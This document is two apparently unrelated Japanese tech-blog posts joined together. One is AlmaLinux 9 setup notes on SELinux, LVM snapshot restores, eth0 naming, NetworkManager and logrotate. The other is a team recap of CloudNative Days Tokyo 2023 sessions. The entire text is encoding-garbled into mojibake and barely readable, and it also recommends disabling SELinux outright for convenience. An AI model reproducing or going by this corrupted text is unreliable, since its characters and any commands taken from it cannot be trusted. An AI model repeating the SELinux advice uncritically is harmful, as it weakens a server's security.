ã§firewalldãæŽ»çšããŠãé©åã«ã»ãã¥ãªãã£ç°å¢ãæŽããŸããã ãšãã颚朮ãšã¯æããŸããããšããããåãç°å¢ãæ§ç¯ããã®ã« selinux ã¯éªéïŒïŒãªã®ã§â # vi /etc/selinux/config SELINUX=enforcingãã disabledã«ããŠreboot!! ããïŒç¡å¹åãããªãïŒïŒ ã©ãããAlmalinux9ç³»ã§ã¯ã selinux ã®ç¡å¹åæ¹æ³ãæžã£ãããã§ãã /etc/ selinux /configã® SELINUX ãdisabledã«èšå®ããããšã¯ã§ãããæå¹ãªææ®µã§ã¯ãªãããã§ã ã«ãŒãã« ãã©ã¡ãŒã¿ã倿Žããæ¹æ³ãããªãããã§ããã æ¹ããŠâ # vi /etc/default/grub ïŒæç²ïŒ ãGRUB_CMDLINE_LINUX="crashkernel=1G-4G:192M,4G-64G:256M,64G-:512M resume=/dev/mapper/almalinux-swap rd.lvm.lv=almalinuxã/root rd.lvm.lv=almalinux/swap biosdevname=0 net.ifnames=0 selinux=0" # grub2-mkconfig -o /boot/grub2/grub.cfg # reboot ä»®æ³ç°å¢äžïŒLVMïŒã§ã¹ãããã·ã§ããã䜿ã£ããªã¹ãã¢ããããšèµ·åããªãïŒïŒ ä»®æ³ç°å¢ã§æ§ç¯ããAlmalinux9ç³»ã®ãµãŒãã®åçš®èšå®ãè²ã
ã€ãžã£ãŠéãã§ã¿ããïŒïŒ èšå®å€æŽåã®ç¶æ
ã®ã¹ãããã·ã§ãããååŸããŠãããããå
ã«æ»ããã䟿å©ïœâª ãšæã£ãŠããŠãããã¹ãããã·ã§ãããå©çšããŠãªã¹ãã¢ããŠã¿ããã®ã®èµ·åããªãïŒïŒïŒ åå ã¯LVM LVMãDEVNAMEãªã©ã®PVãæ€çŽ¢ããããã« /etc/lvm/devices/system.devices ã䜿çšããããããã ã¯ããŒã³ãã VM /ã¹ãããã·ã§ããã§ãªã¹ãã¢ãã VM ãæ£åžžã«èµ·åãããšããŒãžã§ã³ã·ãŒã¢ãŒãã§èµ·åããŠããŸããŸãã Almalinux8ç³»ã§ã¯ããã©ã«ãã§ãç¡å¹ãç¶æ
ãšãªã£ãŠããããä»ãŸã§ã¯ç¹ã«èæ
®ããããšãªãã¹ãããã·ã§ãããå©çšãããªã¹ãã¢ãã§ããŠããããã§ãã æ¯æ£æ¹æ³ã¯ä»¥äžã®éãã # vi /etc/lvm/lvm.conf ãâãuse_devicesfile = 0ããã³ã¡ã³ãã€ã³ # rm -f /etc/lvm/devices/system.devices ïŒåœåã¯åå ããããããäœåãOSã€ã³ã¹ããŒã«ãè¡ã£ãŠããã®ã¯å
ç·ã§ãïŒ ethernet ã® åœå ãå€ãã£ãã ããããªãã®ïŒïŒ ã¿ãªããã¯ããããã¯ãŒã¯ã®ååïŒ ethernet ïŒã«ã¯enpïŒïŒãšãensïŒïŒãšããã䜿ãã§ããããã ç§ã¯ããŸã ã«eth0ãšãeth1ãšã䜿ã£ãŠãŸãã ãšããããšã§ãAlmalinux9ç³»ã®ãµãŒãã§ããã€ããšåãããã« ethernet ã®ååãå€ããŠããŸããŸãã /etc/default/ grub ã® GRUB _CMDLINE_ LINUX é
ç®ã§ biosdevname=0 net.ifnames=0 ãä»äž ïŒ selinux ã®ãšããã§ç»å ŽããŠãã®ã§ãä»ã®ã³ãã³ãã¯ããã§ã¯å²æïŒ # vi /etc/sysconfig/network-scripts/ã<Tab>ããŒããã<Tab>ããŒãããããïŒïŒ ifcfg-ïŒïŒïŒãšããåºãŠããªãã»ã»ã» network-scriptsãåé€ ããããšã®ããšã§ããããã 代ããã« /etc/NetworkManager/system-connections/eth0.nmconnection ãç·šéããããã§ãã # vi /etc/NetworkManager/system-connections/eth0.nmconnection ãã[connection] ããid=eth0 ããuuid=ïŒUUIDã®é·ãæååïŒ ããtype=ethernet ããautoconnect-priority=-999 ããinterface-name=eth0 ããtimestamp= ãã ãã[ethernet] ãã ãã[ipv4] ããaddress1=999.999.999.999/24,ïŒå¿
èŠãªãããã©ã«ãã²ãŒããŠã§ã€ïŒ ããmethod=manual ãã ãã[ipv6] ããaddr-gen-mode=eui64 ããmethod=ignoreããâ»ipv6ã¯ååignoreããŠãŸãããã€ã®æ¥ã«ã䜿ããŸãã ãã ãã[proxy] ãã£ãšäžèšãããªå
容ã§ãã nmcliã³ãã³ãã«ãã IPã¢ãã¬ã¹ 倿Žã¯ãã¡ããCentos7系以éã¯æšå¥šãªã®ã§äœ¿ããŸãã nmconnectionãä¿®æ£ãããâ # nmcli c down eth0 # systemc restart NetworkManager # nmcli c up eth0 â»NetworkManagerãµãŒãã¹ãåèµ·åããã ãã§ã¯åæ ãããŸãããethãäžåºŠããŠã³ãã¢ããããå¿
èŠããããŸãã æå³ãããã¡ã€ã«ã®ãã°ããŒããŒã·ã§ã³ããšã©âãããããã ä»åAlmalinux9ç³»ãè§Šã£ãŠããŠãäžçªåµã£ãã®ããããããããŸããã ããããrsyslogé¡ãmessages,maillog,secure,spoolerãªã©ãã®ãã°ããŒããŒã·ã§ã³ç¶æ³ã確èªãããš # ls -1 /var/log/messages* ãã/var/log/messages ãã/var/log/messages-20231226 ãã/var/log/messages-20231227.gz /etc/logrotate.confãš/etc/logrotate.d/rsyslogã®èšå®éãã«ãã°ãã¡ã€ã«ã¯ããŒããŒã·ã§ã³ãããŠããŸãã ãããã/etc/logrotate.d/ã«åå¥ã§èšå®ãããæå³ãã ãã£ã¬ã¯ã ãªé
äžã®ãã¡ã€ã«ã¯ãªããããŒããŒã·ã§ã³ãããŸããã§ããã ãããããšãã¯ããããã以äžãèãããããšæããŸãã ããŒããŒã·ã§ã³å¯Ÿè±¡ã®ãã°ãã¡ã€ã«ããã® ãã£ã¬ã¯ã ãªã®æš©éãã€ã±ãŠãªã 察象ã®ãã¡ã€ã« åœåèŠå ã®èª€ã ããŒããŒã·ã§ã³ãããã¡ã€ã«ã®æå®ãã¹ messagesãã°ã«ããšã©ãŒã¡ãã»ãŒãžãåºåãããŠããŸããã error: failed to rename <察象ã®ãã°ãã¡ã€ã«> to <察象ã®ãã°ãã¡ã€ã«>: èªã¿èŸŒã¿å°çšãã¡ã€ã«ã·ã¹ãã ã§ãã ãšã©ãŒå
容ããæš©éãã€ã±ãŠãªãããã ãšå€æããŠã察象ã®ãã¡ã€ã«ã ãã£ã¬ã¯ã ãªã念ã®ããããŒããŒã·ã§ã³ã®ãªãã·ã§ã³ãèŠçŽããŠã¿ãŸããã ç¿æ¥ç¢ºèªãããšãåããšã©ãŒïŒïŒïŒ ããããæ°æ¥åã確èªãšä¿®æ£ãããŠã¯åããšã©ãŒã«æ©ãŸãããŸããã ã¡ãªã¿ã«æåå®è¡ã§ã®ãã¹ãã§ã¯åé¡ãªãã åå ãåãåããŠãããšlogrotate.serviceãã¡ã€ã«ããããäœããã®åé¡ãæ±ããŠããã®ã§ã¯ïŒãšèãè³ãã確èªããŠã¿ãŸããã ãããš /etc/systemd/system/logrotate.service äžèšãã¡ã€ã«ã®èšå®ã®å
ProtectSystem=full ãšããèšå®ã«ãã£ãŠããŒããŒã·ã§ã³ã§ããªãããšã倿ããŸããã Almalinux9以åã®OSã§ããã®èšå®ã¯ããã®ã§ãããããã©ã«ãã§ã¯ ProtectSystem=no ãšããèšå®ã«ãªã£ãŠãããããŒããŒã·ã§ã³ã§ããŠããŸããã èšå®ã倿Žãããšç¡äºã«åé¡ãè§£æ±ºïŒ ä»åã®ã±ãŒã¹ã§ã¯2çš®é¡ã®è§£æ±ºæ¹æ³ããããŸããã ProtectSystem=noã«èšå®å€æŽ ReadWritePaths=<ããŒããŒã·ã§ã³ããã ãã£ã¬ã¯ã ãªãæå®> ã»ãã¥ãªãã£ã®èгç¹ã§ã¯2ãéžæããã»ããããããã§ãã æåŸã« LINUX ç³»OSã«ã€ããŠæ¥çãããããããäºæ
ããããŸããã ãã®æäžã«Almalinux9ç³»ãè§Šãããšã«ãªã£ãŠãæå³ãããã®ããªãã®ãã²ãã²ãããŠãŸããã èœã¡çããïŒããã§ä»ã®ãšããããã£ãã§ãã ä»åã玹ä»ããAlmalinux9ç³»ã®æ
å ±ããã ããã®ã圹ã«ç«ãŠã°å¹žãã§ãã
SRE課ã®é£¯éã§ãã 2023/12/11(æ)ã12(ç«)ã®2æ¥éãã CloudNative Days Tokyo 2023 ãïŒä»¥äžCNDTïŒãéå¬ãããŸããã åŒç€Ÿããã¯ããããæå±ããSRE課ã®ä»ãã€ã³ãã©éçºéšã®å€§éªã¡ã³ããŒïŒåºåŒµã§ã®åå ïŒïŒã楜楜粟ç®ã®éçºã¡ã³ããŒãªã©ãå«ãã15åã»ã©ãçŸå°åå ããŸããã æ¬ããã°ã§ã¯ãCNDTåå åŸã«è¡ã£ã瀟å
ã§ã®ãµããããã®å
容ããå±ãããŸãã ã SRE NEXT 2023 ãåå æã®ããã°ããããŸãã®ã§ããããããã°ãã¡ããã芧ãã ããã tech-blog.rakus.co.jp ç®æ¬¡ CNDTãšã¯ïŒ åœæ¥ã®æ§å ãµãããããã£ãŠã¿ãã ç·æ¬ CNDTãšã¯ïŒ ã CloudNative Days ããšããã³ãã¥ããã£ãææããŠãã æ¥æ¬æå€§çŽã® ã¯ã©ãŠã ãã€ãã£ãã»ããã¯ã«ã³ãã¡ã¬ã³ã¹ ã§ãã ãã®åã®éãã ã¯ã©ãŠã ãã€ãã£ãæè¡ãã«çŠç¹ãåœãŠãŠããã ã¯ã©ãŠã ãã€ãã£ã㪠ã¢ãŒããã¯ã㣠ãéçºææ³ãããŒã«ãéçšçã«é¢ãããããã¯ãåãäžããããææ°ã®ååãå®éã®çŸå Žã«ãããŠã©ã®ãããªåãçµã¿ãè¡ã£ãŠããããšãã£ãæ
å ±ãåŸãããšãã§ããŸãã ä»å¹Žããªãã©ã€ã³äŒå Žã¯ ææ ã»ã³ãã©ã«ã¿ã¯ãŒ ããŒã«ïŒã«ã³ãã¡ã¬ã³ã¹ã«ãŠè¡ããããªã³ã©ã€ã³é
ä¿¡ãããã®ãã€ããªããæ¹åŒã§éå¬ãããŸããã ä»åã®ããŒãã¯ã+Native ãšãã«é£ã³åºãïŒããšã®ããšã "CloudNative Days"ã¯ãæè¡ãåŠã³ãæè¡ãšäººã»äººãšäººã®ç¹ãããæ·±ããããã¯ã«ã³ãã¡ã¬ã³ã¹ã§ãã ã³ããçŠã§çããã³ãã¥ããã£ã®åæãä¹ãè¶ããäžäœæãåã³åãæ»ãã仲éãåéãšå
±ã«æé·ããŸãããã ä»åã¯åæãããã³ãã¥ããã£ãåéçµããããã®äžæ©ãšããŠãæ±äº¬ã§éå¬ããŸã! ã¿ãªããã®æå±çµç¹ã®å£æ ¹ãé£ã³è¶ããCloudNativeãå
ã«äº€æµããå Žã«é£ã³èŸŒã¿ãŸãããïŒ "CloudNative"ãåŠã³ãæ°ããªäžçã«é£ã³åºããŸãããïŒ ããããšãã«é£ã³åºããŸãããã "CloudNative Days"ã§ãæ°ããªç¹ãããšæé·ããæ¥œãã¿ãã ããã ïŒ å
¬åŒãµã€ã ããïŒ ç³èŸŒè
æ°ã¯ãªããš2,000åãè¶
ããŠããããã§ããçéã®çãäžãããæããŸãããã åœæ¥ã®æ§å ã¿ã€ã ããŒãã« äž¡æ¥å
±ã«ååã®éšã¯å20åÃ6æ¬ã® Keynote ããããååŸã¯äŒæ©ãæã¿ã€ã€4ãã©ãã¯åæéå¬ã§å40åãã€ã®ã»ãã·ã§ã³ãè¡ãããŸããïŒã¹ãã³ãµãŒã»ãã·ã§ã³å«ãïŒã ãã®ä»ãçŸå°ã§ã¯æè¡ã³ãã¥ããã£ã«ããLT倧äŒããçŸå³ããã³ãŒããŒã飲ã¿ãªãã亀æµãã§ãããããã«ãã§ãã¹ããŒã¹ãã€ãã€ã貯ããã¡ãªã¹ããã«ãŒãéçŽã§ãã¡ãã 埡æ±å° åž³äœããªã©ãæ§ã
ãªäŒç»ãè¡ãããŠããŸããã ã¹ãã³ãµãŒããŒã¹ã§éå¬ãããŠããã¹ã¿ã³ãã©ãªãŒããšãŠãçãäžãã£ãŠããŸãããïŒãã¿ããããããïŒïŒã ãŸãã1æ¥ç®ã®ã»ãã·ã§ã³çµäºåŸã«ã¯æèŠªäŒãè¡ãããŸããã ãµãããããã£ãŠã¿ãã ããŠãä»åãçŸå°åå ã®ç±ãå·ãããã¬ãã¡ã«ãã€ã³ãã©éçºéšïŒSRE/倧éªïŒã®ã¡ã³ããŒã§åŸæ¥ãã£ãããµããããã宿œããŠã¿ãŸããã 宿œããã«ããã£ãŠãäºåã«çšæãããã©ãŒãããã¯äžèšã§ãã # å°è±¡ã«æ®ã£ãã»ãã·ã§ã³ ## ã¿ã€ãã« ## ç»å£è
æ
å ± ## ã¹ã©ã€ã ## ã»ãã·ã§ã³æŠèŠ - ã»ãã·ã§ã³ã®å
容ãç°¡æœã« ## å
±æãããç¹ãææ³ç - ã©ããªç¹ã«å
±æããããçåã«æã£ãããšç --- # ä»åŸå®æœ/ææŠãããããš - åå ããŠã¿ãŠã¢ã¯ã·ã§ã³ãèµ·ãããããªã£ããã®ãäœãããã° # å
šäœãéããŠã®ææ³ - ççŽãªææ³ããèªç±ã« ãããããå°è±¡ã«æ®ã£ãã»ãã·ã§ã³ãéžæããã»ãã·ã§ã³æŠèŠãšå
±æãããç¹/ææ³çãäºåã«ãŸãšããŠããããŸããã 以äžãå®éã«ãŸãšããŠããã£ããµããããã®å
容ãäžéšã玹ä»ããŸãã 倧éªã€ã³ãã©/Uæ°ã®ãŸãšã noteã® Kubernetes ç§»è¡ããŒã³ãèŠããŸã ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ 2023幎9æã«æ¬çªçšŒåã®å
šãŠã®ã¢ããªã±ãŒã·ã§ã³ã Kubernetes ã«ç§»è¡ãããããžã§ã¯ãã§è¡ã£ãããšã«ã€ã㊠å
±æãããç¹ãææ³ç æ°èŠãµãŒãã¹ç«ã¡äžãã§ãªããæ¢åç°å¢ãžã®ç§»è¡ã®å Žåã¯ãµãŒãã¹ã®ç¶ç¶æ§ãéèŠèŠããçºãç¶¿å¯ãªèšç»ãšã¹ããããèžã¿ãªããè¡ã£ãŠãã ç§»è¡å®äºã¯å¹Žåäœã¬ãã«ã«ãªãçºãèªç€Ÿã§è¡ãå Žåã¯è€æ°ãµãŒãã¹ãããçºãç§»è¡æ¯éã®æ€èšã¯æ
éã«è¡ããã ä»åŸå®æœ/ææŠãããããš éçºãžã®ç°å¢æäŸãé«éã«è¡ãããã«ããŸãã¯èªç€Ÿå
ã® Kubernetes ãã¹ãã ã©ã¯ ãã£ã¹ç°å¢ãçå®ãããã®åŸã«Prehubã®ãããªãã®ãäœæãéçºè
äœéšåäžã«è²¢ç®ããŠãããã å
šäœãéããŠã®ææ³ ã³ããæãã«ãããªãã©ã€ã³éå¬ãå¢ããä¹
ã
ã®å€§åã€ãã³ãã®åå ã ã£ãçºãçŽ çŽã«æ¥œããã£ã Kubernetes æŽã¯ãŸã 1å¹Žæªæºã ã瀟å
ã§ã詳ãã人ãããŸãããããèªåã®äžã®ãïŒãã®åçãåŸãçºã«æ
å ±åéããã®ããšãŠã倧å€ã ã£ãããå瀟ããŒã¹ãç»å£è
ã Kubernetes çéã®æ¹ã
ãšçŽæ¥æèŠäº€æããããšã§æ£è§£ã«è¿ãçããåŸãããããšææçŸ©ãªæéãåŸããã 倧éªã€ã³ãã©/Mæ°ã®ãŸãšã 100äžã³ã³ããã® Kubernetes ãã©ãããã©ãŒã ã5幎éã¹ã±ãŒã©ãã«ã«éçšããããã«ä¹ãè¶ããŠããããš ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ 1600 ã¯ã©ã¹ã¿ èŠæš¡ã«ã¹ã±ãŒã«ããKaaSã®é«ãå®å
šæ§/ä¿¡é Œæ§ã»ãã€ã«åæžã«ã€ããŠ å¹æã®ãã£ãã ã©ã¯ ãã£ã¹ïŒã¢ã©ãŒãåæžïŒã«ã€ã㊠å
±æãããç¹ãææ³ç éçšãããŠãã ã¯ã©ã¹ã¿ æ°ïŒ1600ïŒãã³ã³ããæ°ïŒ100äžè¶
ïŒã«å§åããã ãã®èŠæš¡ã®åºç€ãéçšããã«ã¯ããã€ã«ã®åŸ¹åºåæžãå¿
é ã«ãªãããšãåãã£ã ä¿¡é Œæ§åäžã®ããã®SLIãçšããç£èŠæ¡å
ãé²ããããšã«ããå¢å ããã¢ã©ãŒããåæžããããã»ã¹ãåèã«ãªã£ã ã¢ã©ãŒããæŽãåºãã以äž4ã€ã«åé¡ Noisy Alerts: ããçŽãäžæçãªã¢ã©ãŒããç£èŠã®åé¡ Easy-Easy Alerts: åå ç©¶æãå¯Ÿå¿æé ãç°¡å Easy-Hard Alerts: åå ç©¶æã¯ç°¡åã ããæé ãæç¢ºã§ãªã Hard-Hard Alerts: åå ç©¶æãé£ãããæé ããªã ä»åŸå®æœ/ææŠãããããš Kubernetes æªå°å
¥ã®ãµãŒãã¹ã§ãçŸç¶éããããšïŒãã€ã«ã»ã¢ã©ãŒãåæžãªã©ïŒããã£ãã®ã§ããŸãã¯æ¹åã§ãããšããããå®è·µããŠãããã ç¥èäžè¶³ããé£ãããšæããå
容ããã£ãã®ã§ãåŒãç¶ãæ
å ±ãã€ã³ãããããŠãããã å
šäœãéããŠã®ææ³ ã¯ã©ãŠã ãã€ãã£ããªç°å¢ã®éçšã®ã¹ã¿ã³ããŒããç¥ããŠè¯ãã£ã ã³ã³ãã/ ã¯ã©ãŠã 蟺ãã®åºç€ç¥èã®ããããïœä»ç€Ÿã®éçšäºäŸãŸã§å¹
åºãæ
å ±ããã£ããã¢ããã§ãã 倧éªã€ã³ãã©/Aæ°ã®ãŸãšã ããããã®Platform Engineeringãæ¯ããã³ã³ããÃBackstageã®ç䟡 ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ ã¯ã©ãŠã ãã€ãã£ãã«ãããéçºã§ãèªç¥è² è·ãé«ãŸã£ãŠãã Docker, Kubernetes , Git, Security, TestTools, CI/CDãªã©ã®å€çš®å€æ§ãªããŒã« PlatformEngineeringã®åã§éçºè
ã®éçãæŽåã»èªå°ããéçºçç£æ§ãåäžããã ãã®ããã«ãéçºç°å¢ã»ã«ãŒã«ã»ããŠããŠããäžæ¬ã§æäŸãã ä»çµã¿ãšããŠGoldenPath:éçºã®ãã¹ãã ã©ã¯ ãã£ã¹ãåäœç°å¢ãšãµã³ãã«ã¢ããªãšäžç·ã«éçºè
ã«æäŸ ããŒã«ãšããŠBackstage:éçºè
ããŒã¿ã«ãããŒã«é¡ã®ã«ã¿ãã°ã®ãããªã€ã¡ãŒãž Backstageã§éçº&éçšããŠããŠã®ãéçŽã»å±éããæ¯æŽãGoldenPathã§ãç¿åŸã»äœç³»åãã§ãã©ã·ã¥ã¢ããããŠãã å
±æãããç¹ãææ³ç éçºè
ã«éãããã€ã³ãã©åŽã§ãBackstageã®ãããªããŒã¿ã«ãããããšã§ãäŸãã°ããŠããŠå
±æãæ°èŠåå
¥ã¡ã³ãã®ç«ã¡äžãããé«éåãããªã©ã®æ©æµãåããããã ã¯ã©ãŠã ãã€ãã£ããªéçºã«éãããGoldenPathãBackstageã®ãšãã»ã³ã¹ãåãå
¥ããããéšåããªãã調æ»/æ¹åããŠãããã ä»åŸå®æœ/ææŠãããããš ãªãã¶ãŒãããªãã£/Platform Engineeringé¢çœããã©ãã©ãåŠç¿ããŠæ¹åã«ç¹ããŠãããã ã¯ã©ãŠã ãã€ãã£ãæè¡ããŸãã¯ãã³ãºãªã³ããå®è·µããŠã¿ã å
šäœãéããŠã®ææ³ åããšããã«æ¥ãæã¯ããã€ã€ããæŽ»çºãªæè¡ã«ã³ãã¡ã¬ã³ã¹ã§åºæ¿ãåããããããããŸãåå ããã SRE課/Uæ°ã®ãŸãšã Kubernetes Persistent Volume åããŸãŒã³é害ãžã®åã ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ Kubernetes ã§Persistent Volumeãå©çšããäžã§ããŸãŒã³é害ãšã©ã®ããã«åãåã£ãŠããã åæç¥èãšãªã Kubernetes ã®åºç€ç¥èãããã å
±æãããç¹ãææ³ç ã¯ã©ã¹ã¿ ãŒæ§æå¥ã«ã©ã®ãããªåœ¢ã§PVãæ±ãã¹ãããç°¡æœã«ããã ããããPVãå¿
èŠãšããã¢ããªã±ãŒã·ã§ã³ãæªãšããèªèã匷ãŸã ä»åŸå®æœ/ææŠãããããš ã¹ããŒãã¬ã¹ãªã¢ããªã±ãŒã·ã§ã³éçºã培åºããããšæ±ºæãã éã«PVãå¿
èŠã«ãªã ãŠãŒã¹ã±ãŒã¹ ã«ã€ããŠãã£ãšåŠã¶ã¹ãã ãšæã£ã å
šäœãéããŠã®ææ³ æšå¹Žåå ããæããã ã¯ã©ãŠã ãã€ãã£ãåšãã®ç¥èãå°ãã¯ã€ãã宿ããã£ãïŒæé·ãæããïŒ åå¿è
ãäžçŽè
åãã®ã»ãã·ã§ã³ãŸã§å¹
åºããããåå¿è
ã«ããã²åå ãèŠããã äžéšç»å£è
ã®ç°æ¬¡å
æã§ã¢ãããäžãã£ã SRE課/Sæ°ã®ãŸãšã ã¯ã©ã¹ã¿ ãŒãåå²ãããšããéçšã®çŸå®è§£ ïœPod ã VM ã®ããã«äœ¿ãå§ãããèŠããŠããäžçïœ ã»ãã·ã§ã³ç޹ä»ããŒãž ã¯ã©ã¹ã¿ãŒãåå²ãããšããéçšã®çŸå®è§£ from CASAREAL, Inc. www.slideshare.net ã»ãã·ã§ã³æŠèŠ VM ããã³ã³ããïŒ Kubernetes ïŒã«ç§»è¡ããŠè¯ãã£ãããš ååäŒç€Ÿã VM ã䜿çšããŠãããããéçºç°å¢ã®æ§ç¯æéã倧å¹
ã«åæžãã人çãšã©ãŒãè§£æ¶ã§ãã Dockerfileã¯éçºããŒã èªèº«ã§Git管çãèªç±ã«ã«ã¹ã¿ãã€ãºãå¯èœã« Kubernetes ã§éçšããŠããäžã§åºãŠããèª²é¡ ãã°ããã³ã³ããã§éçšããŠãããšãéçºç°å¢ã®åäœãå
šäœçã«ãã£ãããã¯ããã 1 ã¯ã©ã¹ã¿ ãŒã§å
šãŠã管çããŠãããããç¹å®ã®é«è² è·podã ã¯ã©ã¹ã¿ ãŒå
šäœã®å®å®æ§ã«åœ±é¿ãäžããŠããŸã Kubernetes ã®ããŒãžã§ã³ã¢ãããè¡ãã¥ãã å
±æãããç¹ãææ³ç éçšããŠããäžã§ãæ§ç¯æã«äºæ³ããŠããªãã£ã課é¡ã¯éœåºŠåºãŠãããã®ã ãšæãã®ã§ãèŒããŠãããã¹ã¿ãŒãã ãšèº«ã«æã¿ã ä»åŸã®æ§ç¯ã«ãããŠåŠã³ãå€ãã£ã ã¯ã©ãŠã ãã€ãã£ãåå¿è
ã«ãã²èããŠã»ããã»ãã·ã§ã³ã ãšæã£ã ä»åŸå®æœ/ææŠãããããš CNDTã§èããå
容ãå®åã§ææŠãåãå
¥ããŠãããã ã¢ããªã±ãŒã·ã§ã³ã Kubernetes äžã«èŒããŠããã®å®éçš å
šäœãéããŠã®ææ³ å»å¹Žåå ããæã¯å³ãå·Šãããããªãç¶æ
ã§ãã£ãããä»å¹Žã¯èããããšããªãã¯ãŒããå°ãªã楜ããæèŽã§ãã å»å¹Žãšæ¯ã¹ãŠå°ãã¯æé·ãã å»å¹Žãã ã¯ã©ãŠã ãã€ãã£ãã身è¿ã«æããããã«ãªã£ã SRE課/Iæ°ã®ãŸãšã 決æžã·ã¹ãã å
補åã®ãã®å
ã« ã ã¯ã©ãŠã ãã€ãã£ããªéçºã"ã¹ã±ãŒã«"ãããããã«å¿
èŠã ã£ãããš ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ 5幎åã«å
補åãããæ±ºæžã·ã¹ãã ããææ¥ãçµãŠèŠæš¡ã倧ãããªãã©ã®ããã«ã¹ã±ãŒã«ãããã äžéšãªãœãŒã¹ã ã¯ã©ãŠã ãããªã³ãã¬ãå
補ãã倿³šã«ç§»è¡ããŠããããããããé²ããäžã§çãã課é¡è§£æ±ºã®ç¥èŠãçŽ¹ä» å
±æãããç¹ãææ³ç ã¯ã©ãŠã ãã€ãã£ããªã·ã¹ãã ãå
補ãã倿³šã«ç§»è¡ããã®ã¯çžåœããŒãã«ãé«ãããšã ãšæã£ããããšãŠãäžå¯§ã«ã€ãã€ããªã³ã°ããŠããã®ãå°è±¡çã ã£ã æ°ããåãçµã¿ãå§ããã«ããã£ãŠããŸãã¯åãå®ç©ãªããµã³ãã«ãçšæããŠãã ã¬ã€ãã©ã€ã³ ã«èœãšã蟌ã¿ã¬ã¯ãã£ãŒãããšããæµãã¯å¯Ÿè±¡ãäœã ãšããŠãéèŠ ãã©ãããã©ãŒã ãçšæãããŠããããšã§ãéçºè
ãå®å¿ããŠéçºã«æ³šåã§ããããšããç¹ã¯ãæ°æã¡ã®é¢ã§åŠã³ã«ãªã£ã ä»åŸå®æœ/ææŠãããããš ç«å Žçã«ã ã¯ã©ãŠã ãã€ãã£ããªç°å¢ãã©ãçšæãã©ã®ããã«å±éããŠããããèããããšãå€ãã®ã§ãã¬ã¯ãã£ãŒãã€ã³ããåèã«ããŠãããã æ³¥èãæŽ»åã§ããã©äŸ¡å€ã¯ããããã§ããããšåžžã«æã äŒç€ŸãšããŠãã®åéã«äžäžžãšãªã£ãŠåãçµããããã«æåéžæé 匵ãããšå
±ã«èª¬åŸåãã€ããããã«ã€ã³ãããéé² å
šäœãéããŠã®ææ³ CNDTã¯ååå ã ã£ãããæ®æ®µèª²å
ã§è§ŠããŠããããŒã¯ãŒããå€ãã£ãã®ã§ ã¯ã©ãŠã ãã€ãã£ãã«ãã£ããåãçµããŠãããªãšèªä¿¡ãã€ãã SRE課以å€ã®ä»ããŒã ãçŸå°åå ããŠããŠãåçŽã«å¬ããã£ãïŒä»²éãå¢ããŠãïŒ SRE課/Iæ°ã®ãŸãšã GitOpsã§å®è£
ãã Kubernetes ã»ãã¥ãªã㣠-æ»æè
ãèããã¢ã¿ãã¯ã·ããªãªãš OSS ãæŽ»çšããå®ãæ¹- ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ ãããªãã¯ãª ãªããžã㪠ã«ã¢ãããããéå
¬åŒã®ã³ã³ããã€ã¡ãŒãžãå©çšããããšã«ããæ»æã·ããªãªã®äŸã解説 æ»æçšã³ã³ããã€ã¡ãŒãžãžã®å¯ŸçãšããŠãOPAïŒ GateKeeper ïŒãå©çšããAdmission Controllerã«ããã€ã¡ãŒãžååŸå
ã®ããªããŒã·ã§ã³ãã§ãã¯å°å
¥ã®ãã³ãºãªã³ã宿œ å
±æãããç¹ãææ³ç ã€ã¡ãŒãžäžã®OSãã©ã€ãã©ãªã®éçã¹ãã£ã³ã¯trivyã§ã宿œã§ããããä»åã®æ»æäŸã¯ã³ã³ããèµ·åæã« ããã¯ã㢠ãäœã£ãŠã³ã³ããå
éšã«äŸµå
¥ãããšãããã®ã ã£ãã®ã§trivyã§ã¯é²ããªã ã³ã³ããèµ·ååŸã®äžå¯©ãªæåã®æ€ç¥ãŸã§è¡ããªããŠããã³ã³ããã€ã¡ãŒãžååŸå
ã®ãã§ãã¯ã ãã§çžåœå€ãã®æ»æãé²ããããã€ãããŸã§å°å
¥ã®é£æåºŠã¯é«ããªããããªã®ã§ãæ¯éå°å
¥ãã¹ãã ãšæã ãã§ãã¯ããžãã¯ã¯Regoã§æžãããŠããããç°¡åãªãã®ã§ããã°ãµã³ãã«ãå€ãã®ã§å°å
¥ã¯é£ãããªãããã«æããïŒ GitHubãªããžããª ïŒ ä»åŸå®æœ/ææŠãããããš ã³ã³ããã€ã¡ãŒãžååŸå
ã®ãã§ãã¯ãå®è¡ïŒ GateKeeper 䜿ãã®ãã¯ããŠããïŒ Kubernetes ç¹æã®ã»ãã¥ãªãã£ã®åŠç¿ å
šäœãéããŠã®ææ³ æ±äº¬ã®ã€ã³ãã©éçºéšå
ã§ã åºç€ããåŠã¶ã³ã³ããã»ãã¥ãªã㣠ãã®èŒªèªäŒããã£ãŠãããããããŸã§ã³ã³ããïŒdockerïŒã«éããŠããã®ã§ã Kubernetes ã«é©çšããéã«ã©ã®ãããªæè¡ã察çãããã®ãã®ç¥èŠãã€ã³ãã©éçºéšå
ã§é«ããã¹ãã ãšæãã SRE課/Iæ°ã®ãŸãšã ïŒâ»ãªããSRE課ã¯Iãã€ã人ãå€ãïŒ èšæž¬ã®æéãçãããïŒOpenTelemetry ã«èŠãâèªåèšè£
âã®ã€ã ã»ãã·ã§ã³ç޹ä»ããŒãž speakerdeck.com ã»ãã·ã§ã³æŠèŠ ãªãã¶ãŒãããªãã£ãèšè£
ãOpenTelemetryïŒä»¥äžOTelïŒã«ã€ã㊠OTelèšè£
ã®åºç€ OTelã®"èªå"èšè£
OTelèšè£
ïŒèªå/æåïŒã®ã㢠è£è¶³æ
å ±ïŒ Kubernetes Operatorã§ã®èªåèšè£
ãGoãžã®èªåèšè£
by eBPFïŒ å
±æãããç¹ãææ³ç èªåèšè£
ã䜿ããšãèªç€Ÿãžã®Traceã®å°å
